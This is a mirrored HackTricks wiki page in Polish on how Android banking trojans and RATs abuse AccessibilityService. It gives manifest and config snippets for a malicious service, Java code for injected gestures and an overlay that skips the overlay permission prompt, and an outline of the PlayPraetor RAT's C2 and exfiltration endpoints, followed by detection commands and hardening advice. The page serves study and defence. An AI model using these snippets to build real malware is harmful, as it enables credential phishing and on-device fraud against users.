mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
146 lines
7.2 KiB
Markdown
146 lines
7.2 KiB
Markdown
# Nadużycie usługi dostępności Androida
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Przegląd
|
||
|
||
`AccessibilityService` został stworzony, aby pomóc użytkownikom z niepełnosprawnościami w interakcji z urządzeniami Android. Niestety, te same **potężne API automatyzacji** (globalna nawigacja, wprowadzanie tekstu, dyspozycja gestów, okna nakładek…) mogą być wykorzystane przez złośliwe oprogramowanie do uzyskania **pełnej zdalnej kontroli** nad urządzeniem _bez uprawnień roota_.
|
||
|
||
Nowoczesne trojany bankowe Androida i trojany zdalnego dostępu (RAT) takie jak **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** i wiele innych stosują ten sam schemat:
|
||
|
||
1. Wykorzystać inżynierię społeczną, aby ofiara włączyła złośliwą usługę dostępności (uprawnienie *BIND_ACCESSIBILITY_SERVICE* jest uważane za "wysokiego ryzyka" i wymaga wyraźnej akcji użytkownika).
|
||
2. Wykorzystać usługę do
|
||
* przechwytywania każdego zdarzenia UI i tekstu, który pojawia się na ekranie,
|
||
* wstrzykiwania syntetycznych gestów (`dispatchGesture`) i globalnych akcji (`performGlobalAction`), aby zautomatyzować dowolne zadanie, które operator pragnie,
|
||
* rysowania nakładek na pełnym ekranie na wierzchu legalnych aplikacji przy użyciu typu okna **TYPE_ACCESSIBILITY_OVERLAY** (bez monitu `SYSTEM_ALERT_WINDOW`!),
|
||
* cichego przyznawania dodatkowych uprawnień w czasie rzeczywistym, klikając w okna dialogowe systemowe w imieniu ofiary.
|
||
3. Ekstrahować dane lub przeprowadzać **On-Device-Fraud (ODF)** w czasie rzeczywistym, podczas gdy użytkownik patrzy na zupełnie normalny ekran.
|
||
|
||
---
|
||
|
||
## Żądanie uprawnienia
|
||
```xml
|
||
<!-- AndroidManifest.xml -->
|
||
<service
|
||
android:name="com.evil.rat.EvilService"
|
||
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
|
||
android:exported="false">
|
||
|
||
<intent-filter>
|
||
<action android:name="android.accessibilityservice.AccessibilityService" />
|
||
</intent-filter>
|
||
|
||
<meta-data android:name="android.accessibilityservice"
|
||
android:resource="@xml/evil_accessibility_config"/>
|
||
</service>
|
||
```
|
||
Towarzyszący plik XML definiuje, jak będzie wyglądać fałszywe okno dialogowe:
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||
android:description="@string/service_description"
|
||
android:accessibilityEventTypes="typeAllMask"
|
||
android:accessibilityFeedbackType="feedbackGeneric"
|
||
android:notificationTimeout="200"
|
||
android:canPerformGestures="true"
|
||
android:canRetrieveWindowContent="true"/>
|
||
```
|
||
---
|
||
|
||
## Zdalne prymitywy automatyzacji UI
|
||
```java
|
||
public class EvilService extends AccessibilityService {
|
||
@Override
|
||
public void onAccessibilityEvent(AccessibilityEvent event) {
|
||
// harvest text or detect foreground app change
|
||
}
|
||
|
||
// Simulate HOME / BACK / RECENTS …
|
||
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
|
||
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
|
||
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
|
||
|
||
// Generic tap / swipe
|
||
public void tap(float x, float y) {
|
||
Path p = new Path(); p.moveTo(x, y);
|
||
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
|
||
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
|
||
}
|
||
}
|
||
```
|
||
Z tymi dwoma API atakujący może:
|
||
* Odblokować ekran, otworzyć aplikację bankową, nawigować po jej drzewie UI i złożyć formularz przelewu.
|
||
* Akceptować każde okno dialogowe z prośbą o pozwolenie, które się pojawi.
|
||
* Instalować/aktualizować dodatkowe APK za pomocą intencji Sklepu Play.
|
||
|
||
---
|
||
|
||
## Wzorce nadużyć
|
||
|
||
### 1. Phishing przez nakładki (Zbieranie poświadczeń)
|
||
Przezroczysty lub nieprzezroczysty `WebView` jest dodawany do menedżera okien:
|
||
```java
|
||
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
||
MATCH_PARENT, MATCH_PARENT,
|
||
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
|
||
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
|
||
PixelFormat.TRANSLUCENT);
|
||
wm.addView(phishingView, lp);
|
||
```
|
||
Ofiara wpisuje dane uwierzytelniające w fałszywym formularzu, podczas gdy aplikacja w tle odbiera te same gesty – nigdy nie jest wyświetlany podejrzany komunikat "rysuj nad innymi aplikacjami".
|
||
|
||
> Szczegółowy przykład: sekcja *Phishing przez nakładkę dostępności* na stronie Tapjacking.
|
||
|
||
### 2. Automatyzacja oszustw na urządzeniu
|
||
Rodziny złośliwego oprogramowania, takie jak **PlayPraetor**, utrzymują stały kanał WebSocket, w którym operator może wydawać polecenia na wysokim poziomie (`init`, `update`, `alert_arr`, `report_list`, …). Usługa tłumaczy te polecenia na niskopoziomowe gesty, osiągając nieautoryzowane transakcje w czasie rzeczywistym, które łatwo omijają uwierzytelnianie wieloskładnikowe związane z tym urządzeniem.
|
||
|
||
### 3. Streaming i monitorowanie ekranu
|
||
Łącząc **MediaProjection API** z biblioteką klienta RTMP, RAT może transmitować na żywo bufor ramki do `rtmp://<c2>:1935/live/<device_id>`, dając przeciwnikowi doskonałą świadomość sytuacyjną, podczas gdy silnik dostępności obsługuje interfejs użytkownika.
|
||
|
||
---
|
||
|
||
## PlayPraetor – przepływ pracy dowodzenia i kontroli
|
||
|
||
1. **HTTP(S) heartbeat** – iteruj po twardo zakodowanej liście, aż jedna domena odpowie `POST /app/searchPackageName` z aktywnym C2.
|
||
2. **WebSocket (port 8282)** – dwukierunkowe polecenia JSON:
|
||
* `update` – wprowadź nowe conf/APK
|
||
* `alert_arr` – skonfiguruj szablony nakładek
|
||
* `report_list` – wyślij listę docelowych nazw pakietów
|
||
* `heartbeat_web` – utrzymanie połączenia
|
||
3. **RTMP (port 1935)** – transmisja na żywo ekranu/wideo.
|
||
4. **REST exfiltration** –
|
||
* `/app/saveDevice` (odcisk palca)
|
||
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
||
* `/app/saveCardPwd` (dane bankowe)
|
||
|
||
**AccessibilityService** to lokalny silnik, który przekształca te polecenia w interakcje fizyczne.
|
||
|
||
---
|
||
|
||
## Wykrywanie złośliwych usług dostępności
|
||
|
||
* `adb shell settings get secure enabled_accessibility_services`
|
||
* Ustawienia → Dostępność → *Pobrane usługi* – szukaj aplikacji, które **nie** pochodzą z Google Play.
|
||
* Rozwiązania MDM / EMM mogą wymuszać `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) w celu zablokowania usług zainstalowanych zewnętrznie.
|
||
* Analizuj działające usługi:
|
||
```bash
|
||
adb shell dumpsys accessibility | grep "Accessibility Service"
|
||
```
|
||
|
||
---
|
||
|
||
## Rekomendacje dotyczące wzmocnienia dla deweloperów aplikacji
|
||
|
||
* Oznacz wrażliwe widoki jako `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
|
||
* Połącz `setFilterTouchesWhenObscured(true)` z `FLAG_SECURE`, aby zapobiec przechwytywaniu dotyków/nakładek.
|
||
* Wykrywaj nakładki, sprawdzając `WindowManager.getDefaultDisplay().getFlags()` lub API `ViewRootImpl`.
|
||
* Odmów działania, gdy `Settings.canDrawOverlays()` **lub** aktywna jest nieufna usługa dostępności.
|
||
|
||
---
|
||
|
||
## Referencje
|
||
* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
||
* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|